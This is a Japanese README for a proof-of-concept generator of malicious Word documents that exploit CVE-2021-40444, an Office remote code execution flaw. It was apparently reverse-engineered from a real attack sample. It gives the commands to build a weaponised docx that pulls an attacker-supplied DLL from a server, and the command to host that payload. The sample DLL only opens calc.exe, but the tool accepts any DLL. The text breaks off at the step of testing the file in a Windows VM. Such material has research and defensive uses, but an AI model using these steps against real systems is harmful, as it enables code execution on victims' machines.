CVE-2021-40444 PoC

CVE-2021-40444 (Microsoft Office Word Remote Code Execution) を悪用する悪意のある docx 生成ツール

このスクリプトの作成は、実際の攻撃で使用されたサンプル: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx ファイル) に対するリバースエンジニアリングに基づいています。

最初に lcab をインストールする必要があります (sudo apt-get install lcab)

手動での再現手順は REPRODUCE.md を確認してください。

生成された cab が動作しない場合は、exploit.html の URL を calc.cab に指定してみてください。

使用方法

まず、DLL を指定して悪意のある docx 文書を生成します。test/calc.dll にある DLL を使用できます。これは system() の呼び出しから calc.exe を起動するだけです。

python3 exploit.py generate test/calc.dll http://<SRV IP>

悪意のある docx を生成したら（out/ に出力されます）、サーバーをセットアップできます：

sudo python3 exploit.py host 80

最後に、Windows 仮想マシンで docx を試してください：